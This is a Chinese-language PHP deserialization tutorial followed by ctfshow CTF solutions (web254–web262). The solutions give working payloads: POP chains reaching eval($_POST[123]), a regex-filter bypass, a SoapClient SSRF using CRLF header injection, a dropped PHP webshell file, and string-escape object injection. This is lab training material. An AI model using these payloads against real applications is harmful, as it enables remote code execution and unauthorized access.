一.前置php知识 1.类,对象,属性,方法 类 类 (class)是一个共享相同结构和行为的对象 的集合。每个类的定义都以关键字class开头,后面跟着类的名字。类本身不是实体,不能直接使用,必须通过实例化生成对象。
class MyClass { public $property1 ; public function method1 ( ) { } }
对象 对象 (object)是一个由信息及对信息进行处理的描述 所组成的整体,是对现实世界的抽象。
每个对象可以有不同的属性值,但共享类中的方法。
对象之间相互独立,修改一个对象的属性不会影响其他对象。
可以调用类中的方法来执行特定的操作。
属性 属性 (Property)是类的成员变量,用于存储对象的状态信息。有以下三种访问控制修饰符
**public
**:公共属性,可以从类的外部直接访问。
class Car { public $color = "红色" ; public $brand = "宝马" ; } $my_car = new Car ();echo $my_car ->color;
**private
**:私有属性,只能在类的内部访问,不能从外部或子类访问。
class Car { private $engineType = "V8" ; public function getEngineType ( ) { return $this ->engineType; } } $my_car = new Car ();echo $my_car ->getEngineType ();
**protected
**:受保护属性,只能在类的内部及其子类中访问。
class Car { protected $fuelType = "汽油" ; public function getFuelType ( ) { return $this ->fuelType; } } class ElectricCar extends Car { public function setFuelType ($type ) { $this ->fuelType = $type ; } } $my_car = new Car ();echo $my_car ->getFuelType (); $electric_car = new ElectricCar ();$electric_car ->setFuelType ("电力" );echo $electric_car ->getFuelType ();
方法 方法 (method)是定义在类中的函数,用于描述对象的行为。它可以操作对象的属性或执行某些逻辑。分为以下几种:
实例方法:通过对象调用,可以访问对象的属性和其他方法。
静态方法:使用static
关键字声明,可以通过类名直接调用,无需实例化对象。
ClassName ::staticMethod ();
构造方法:类的构造函数,在创建对象时自动调用,通常用于初始化对象的属性。
public function __construct ( ) { }
析构方法:类的析构函数,在对象被销毁时自动调用,通常用于清理资源。
public function __destruct ( ) { }
总结 简单来说,类是定义一系列属性和操作的模板,而对象,就是通过类来创建,把属性进行实例化,完事交给类里面的方法,进行处理。
2.序列化(serialize) 概念 序列化是将复杂的数据结构(如对象、数组)转换成字符串(json格式)的方式,这样可以方便地存储或传输这些数据。
注意,两种情况一定要将对象序列化 ,把一个对象在网络中传输,把对象写入文件或数据库
举例 但是概念的东西看看就行,具体还是要理解,以下举个栗子
这里的O:7:"student":2:{s:4:"name";s:5:"yxing";s:3:"age";i:20;}
就是将对象yu
序列化后的结果,下面来详细解释这个序列化
O:7 :"student" :2 :{s:4 :"name" ;s:5 :"yxing" ;s:3 :"age" ;i:20 ;} O:object ,即对象 7 :这个对象的字符长度"student" :这个对象的名字2 :这个对象内有两个类属性{}:花括号内包含该对象的属性和对应的值 s:string 属性,即属性的类型 4 :第一个类属性长度 "name" :第一个类属性名字 s:第一个类属性值类型,s为字符型 5 :第一个类属性值长度 "yxing" :第一个类属性的值 后面同理 即一般的序列化格式为 变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}
值得一提的是,类方法并不会参与到实例化里面。即只序列属性,不序列方法
访问控制修饰符序列化后区别 并且属性的三种访问控制修饰符在序列化后有不同的长度和名称,以下举例说明
O:7:"student":3:{s:4:"name";s:5:"yxing";s:3:"age";i:20;s:2:"qq";i:123;} O:7:"student":3:{s:4:"name";s:5:"yxing";s:12:"studentage";i:20;s:5:"*qq";i:123;} 可以看到,同为public的name未改变,但是改为private后age前面加上了类名,并且长度增加了9(student7+空字节2),改为protected后qq前面加上了*,并且长度增加了3(*1+空字节2)
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:
受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,”\x00”代表ASCII为0的值,即空字节,” * “ 必不可少。
序列化中属性值类型 a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义的二进制字符串 S - escaped binary string 转义的二进制字符串 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码的字符串
3.反序列化(unserialize) 概念 是序列化的逆过程,即将序列化后的数据重新还原成原始的数据结构或对象。反序列化是从文件、网络数据或数据库中读取序列化的数据,并将其转换回原始形式,以便在程序中进行使用和操作。
举例
如图,就是反序列化最简单的应用,将序列化后数据重新变为原始数据,如果这时对输入的数据,即序列化后的数据进行更改,那么结果也会不一样,比如
在对数据更改后name
变成了heci
,qq
变成了654321
,(但是注意属性长度必须和属性值对应),而在反序列化中就可通过某些构造实现特定操作
魔术方法 概念及常见方法 为啥叫做魔术方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了魔术方法,建议不要以 __为前缀。以下为常见魔术方法:
__construct()
构造函数,当一个对象创建时被调用。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作
__destruct()
析构函数,当一个对象销毁时被调用 。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString
当一个对象被当作一个字符串被调用,把类当作字符串使用时触发。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__wakeup()
调用unserialize()时触发 ,反序列化恢复对象之前调用该方法,例如重新建立数据库连接,或执行其它初始化操作。unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup(),预先准备对象需要的资源。
__sleep()
调用serialize()时触发 ,在对象被序列化前自动调用,常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE级别的错误
__call()
在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic()
在静态上下文中调用不可访问的方法时触发
__get()
用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
__set()
用于将数据写入不可访问的属性
__isset()
在不可访问的属性上调用isset()或empty()触发
__unset()
在不可访问的属性上使用unset()时触发
__invoke()
当脚本尝试将对象调用为函数时触发
额外提下__tostring的触发场景
(1) echo($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
举例 <?php class test { public $variable = '变量反序列化后都要销毁' ; public $variable2 = 'OTHER' ; public function printvariable ( ) { echo $this ->variable."\n" ; } public function __construct ( ) { echo '__construct' ."\n" ; } public function __destruct ( ) { echo '__destruct' ."\n" ; } public function __wakeup ( ) { echo '__wakeup' ."\n" ; } public function __sleep ( ) { echo '__sleep' ."\n" ; return array ('variable' ,'variable2' ); } } $object = new test ();$serialized = serialize ($object );print $serialized . "\n" ;$object2 = unserialize ($serialized );$object2 ->printvariable ();?>
漏洞利用条件
1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。 1. unserialize()
函数的参数可控。
二.题目 web254 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
简单来说就是会将传入的username和password和预设值做比较,比较成功就通过login
方法将$isvip
变为true
,就能在判断语句中一路对直到flag,因此直接传参(这里可能有点坑的就是真就是6个x,不是真实值)
?username=xxxxxx&password=xxxxxx
web255 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
较上题的区别就是在login
方法中isVip
不会变成true
,因此要通过反序列化来使得isVip
为真,注意cookie中要先url
编码一次才能成功
本地写以下来获得序列化字符
<?php class ctfShowUser { public $isVip =true ; } $user =new ctfShowUser;echo (urlencode (serialize ($user )));
最终payload
GET ?username=xxxxxx&password=xxxxxx cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
当然,如果在序列化字符串中加入username和password也没有关系,也能获得flag
<?php class ctfShowUser{ public $isVip=true; public $username="xxxxxx"; public $password="xxxxxx"; } $user=new ctfShowUser; echo (urlencode(serialize($user))); //O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3B%7D
web256 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
较上题的区别就是要求最后vipOneKeyGetFlag
方法中的username不等于password,而在题目所给的预设值中是相等的,但是在GET传参中username和password的值会被覆盖,因此只要相对应即可
<?php class ctfShowUser { public $isVip =true ; public $username ="abcdef" ; public $password ="ghijkl" ; } $user =new ctfShowUser;echo (urlencode (serialize ($user )));
payload为
GET ?username=aaaaaa&password=bbbbbb cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A8%3A%22username%22%3Bs%3A6%3A%22aaaaaa%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22bbbbbb%22%3B%7D
web257 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
这个反序列化更复杂了,但是分析后,主要就是__construct和__destruct两个魔术方法的利用,由于是第一次做到,详细写一下
__construct __construct()
是一个特殊的魔术方法(magic method),它会在对象被创建时自动调用
触发条件:在类实例化对象时自动调用构造函数
作用:初始化函数,对类进行初始化,同时也可以执行其它语句
<?php class User { public $username ; public function __construct ($username ) { $this ->username = $username ; echo "触发了构造函数1次" ; } } $test = new User ("benben" ); $ser = serialize ($test ); unserialize ($ser );?>
__destruct __destruct()
函数是 PHP 中的一个魔术方法(magic method),它会在一个对象不再被使用时,或者脚本执行结束时,自动被调用。
触发条件:对象引用完成,或对象被销毁
作用:执行清理工作
<?php class User { public function __destruct ( ) { echo "触发了析构函数1次" ; } } $test = new User ("benben" ); $ser = serialize ($test ); unserialize ($ser ); ?>
了解之后再次分析代码,重点就是在反序列化user结束后会自动调用__destruct魔术方法,进而调用getinfo()方法,然后执行私有属性code中的代码,但是由于code是私有属性,所以必须要使用backdoor这个类,因此这个题就很明确了,先使用__construct魔术方法创建backdoor对象,然后通过code这个私有属性的更改构造,来让反序列化后__destruct魔术方法能调用getinfo()方法执行code,即
__construct->__destruct->getinfo //这种通过反序列化攻击,构造出一条“链”,让程序依次执行其中的命令,最终实现攻击者想要的目的的链条就叫做pop链
exp:
<?php class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'backdoor' ; public function __construct ( ) { $this ->class =new backdoor ();//创建backdoor 对象,才能更改code 私有属性 } } class backDoor { private $code ='eval($_POST[123]);' ; } $user =new ctfShowUser;echo (urlencode (serialize ($user )));
payload:
GET ?username=xxxxxx&password=xxxxxx cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A18%3A%22eval%28%24_POST%5B123%5D%29%3B%22%3B%7D%7D POST 123=system('ls');和123=system('cat flag.php');//需要url编码内容部分,不编码等号
注意添加cookie最好不要在最后一排加,不然容易出错,加在中间不容易错
web258 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); }
可以看到这个题和上题对反序列化的内容有了过滤,即不能有O:数字:
这种形式出现,只要在数字前面添加等号就行了,+2和2在序列化时是相同的
exp
<?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'backdoor' ; public function __construct ( ) { $this ->class =new backdoor ();//创建backdoor 对象,才能更改code 私有属性 } } class backDoor { public $code ='eval($_POST[123]);' ; } $user =new ctfShowUser;$user1 = str_replace (':11' ,':+11' ,serialize ($user ));$user2 = str_replace (':8' ,':+8' ,$user1 );echo urlencode ($user2 );
这里我还以为可以只用backdoor这个类,结果后面想了下还需要username和password的预设值,这些需要调用,所以还是需要使用ctfShowUser这个类
payload
GET ?username=xxxxxx&password=xxxxxx cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22eval%28%24_POST%5B123%5D%29%3B%22%3B%7D%7D POST 123=system('ls');和123=system('cat flag.php');//需要url编码内容部分,不编码等号
web259 首先题目中给了flag.php的内容,先解读一下
$xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
首先将xff按逗号分割,然后去除倒数第一个的值,将倒数第二个的值返回给ip,如果ip的值不等于127.0.0.1,就直接die了,如果等于就要检查POST传参的token,如果为ctfshow,那就将flag的值写入flag.txt文件中
那就是一个伪造xff和POST传参token了,进入环境看看
<?php highlight_file (__FILE__ );$vip = unserialize ($_GET ['vip' ]);$vip ->getFlag ();
就是一个反序列化GET参数vip
非预期:直接伪造 先说一个非预期,直接伪造xxf和token就可以了
POST传参token=ctfshow X-Forwarded-For:127.0.0.1,127.0.0.1 访问flag.php
放包后访问flag.txt就获得flag了
预期解:通过SSRF,CRLF和php原生类 SSRF SSRF攻击 SSRF(Server-Side Request Forgery)指的是服务器端请求伪造攻击,是一种由攻击者构造请求,利用存在缺陷的Web应用作为代理,让服务端发起请求的安全漏洞。
SSRF攻击的基本原理在于攻击者利用服务器作为代理来发送请求。攻击者首先寻找目标网站中可以从服务器发出外部请求的点,比如图片加载、文件下载、API请求等功能。随后,攻击者通过向这些功能提交经过特别构造的数据(如修改URL或参数),诱使服务器向攻击者控制的或者内部资源发送请求。此时,服务器充当了攻击者与目标之间的“桥梁”,攻击者可以通过它来接触和操作内部服务,绕过安全限制。
SSRF攻击的类型
内部SSRF :攻击者利用漏洞与应用程序的后端或内部系统交互。这种情况下,攻击者可能试图访问数据库、HTTP服务或其他仅在本地网络可用的服务。
外部SSRF :攻击者利用漏洞访问外部系统。攻击者可能构造恶意的URL,利用Web应用程序的代理功能或URL处理机制,向存在漏洞的服务器发送请求,以获取外部网络资源或执行其他恶意操作。
SSRF出现的根本原因 由于服务端提供了从其他服务器应用获取数据的功能而且没有对目标地址做过滤与限制。
也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我们构造好访问包,那就有可能利用目标服务对他的其他服务器应用进行调用。
CRLF CRLF攻击,全称Carriage Return Line Feed攻击,是一种利用CRLF字符(回车换行符,即\r\n
)的安全漏洞进行的攻击方式
CRLF字符的作用
CRLF字符是两个ASCII字符,回车(Carriage Return,\r
)和换行(Line Feed,\n
)的组合。
在许多互联网协议中,包括HTTP、MIME(电子邮件)和NNTP(新闻组)等,CRLF字符被用作行尾(EOL)标记,以分隔文本流中的不同部分。
CRLF攻击的原理
CRLF攻击利用了HTTP协议中换行符的漏洞。HTTP协议规定,每个报文的头部信息的行结束必须是CRLF字符。
攻击者通过在恶意输入中插入CRLF字符,可以改变HTTP报文的格式,从而绕过一些安全机制。
具体来说,攻击者可以在HTTP请求中的参数值中插入CRLF字符,使得服务器在解析请求时将参数值误认为是HTTP头部的一部分。这样一来,攻击者就可以利用这个漏洞进行一系列攻击,如HTTP响应拆分攻击、HTTP响应劫持攻击等。
通过CRLF注入,攻击者可以在HTTP响应中插入额外的头部信息或修改现有的头部信息,从而控制响应的内容或行为。
PHP原生类 在PHP中,反序列化是一个常见的安全问题,特别是当代码中存在反序列化的功能点,但无法构造出完整的POP链时。这时,可以尝试利用PHP的原生类来破解。PHP的一些原生类中内置了魔术方法,如果能够巧妙地构造可控参数并触发这些魔术方法,就可能达到预期的目的。
SoapClient 类 PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
exp
<?php $ua = "ceshi\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow" ;$client = new SoapClient (null ,array ('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua ));echo urlencode (serialize ($client ));
注意,这里首次使用要去php配置文件下修改配置extension=soap,即删除前面分号
GET传入后访问flag.txt即可获得flag
web260 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
就是要在序列化获得的字符中匹配ctfshow_i_love_36D,经过测试可知,直接序列化ctfshow_i_love_36D时会生成s:18:"ctfshow_i_love_36D";
,因此直接传入即可
web261(php7.4.0开始,__wakeup和__unserialize同时存在时忽略__wakeup) <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } } unserialize ($_GET ['vip' ]);
注意:在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,wakeup() 方法会被忽略。
又由于在__destruct方法中对code的比较为弱比较,且0x36d=877,因此将username=877.php,password=<?php eval($_POST['123'];)?>
,exp如下
<?php class ctfshowvip { public $username ='877.php' ; public $password ='<?php eval($_POST[\'123\']);?>' ; } $a =new ctfshowvip;echo urlencode (serialize ($a ));
vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A28%3A%22%3C%3Fphp+eval%28%24_POST%5B%27123%27%5D%29%3B%3F%3E%22%3B%7D 原始为vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:28:"<?php+eval($_POST['123']);?>";}
然后命令执行
https://140f152d-1718-4241-8dc1-f0e669f904d8.challenge.ctf.show/877.php POST:123=system("ls /"); 123=system("cat /flag_is_here");
web262(字符逃逸) <?php error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
注释发现message.php,因此先访问试试
<?php highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
也就是将token改为admin才能拿到flag,一种方法是直接伪造,另一种是字符逃逸
直接伪造 <?php class message { public $from ; public $msg ; public $to ; public $token ='admin' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } echo (base64_encode (serialize (new message ('a' ,'b' ,'c' ))));
msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxOiJjIjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
字符逃逸 概念 逃逸有一个特征就是对序列化后的字符进行一个替换 ,字符串序列化是以;}
结尾的,但对象序列化是直接}
结尾,因此类似sql的闭合后再进行替换就可以进行绕过
示例 <?php class user { public $username ; public $password ; public $vip ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; $this ->vip=0 ; } } function filter ($s ) { return str_replace ('admin' ,'hacker' ,$s ); } $u = new user ('admin' ,'123456' );$us = filter (serialize ($u ));echo $us ;
由上例可以看到,由于替换,hacker的长度为5,就有一个r逃逸出来了
如果想构造vip=1,也可以通过构造
<?php class user { public $username ; public $password ; public $vip ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; $this ->vip=0 ; } } function filter ($s ) { return str_replace ('admin' ,'hacker' ,$s ); } $u = new user ('admin";s:8:"password";s:6:"123456";s:3:"vip";i:1;}' ,'123456' );$us = filter (serialize ($u ));echo $us ;
这样就把语句构造好了,但是如果想这个语句为有效语句,需要使长度和类属性相匹配,可知,由admin到hacker每次会增加一个字符,且有效payload";s:8:"password";s:6:"123456";s:3:"vip";i:1;}
有45个字符,因此需要45/1=45个admin
<?php class user { public $username ; public $password ; public $vip ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; $this ->vip=0 ; } } function filter ($s ) { return str_replace ('admin' ,'hacker' ,$s ); } $u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"vip";i:1;}' ,'123456' );$us = filter (serialize ($u ));echo $us ;
因此成功构造了完整的序列化,伪造了vip=1,逃逸成功,至于多余的部分就可忽略了
题目 回到本题,将fuck替换为loveU,并且要伪造token=admin
开始伪造
<?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $msg =new message ('fuck' ,'2' ,'3' );$umsg = str_replace ('fuck' , 'loveU' , serialize ($msg ));echo $umsg ;
现在替换为62个fuck
<?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $msg =new message ('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}' ,'2' ,'3' );$umsg = str_replace ('fuck' , 'loveU' , serialize ($msg ));echo $umsg ;
成功,因此直接传参后看到Your message has been sent
后访问message.php即可
url/message.php?f=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:5:"admin";}&m=2&t=3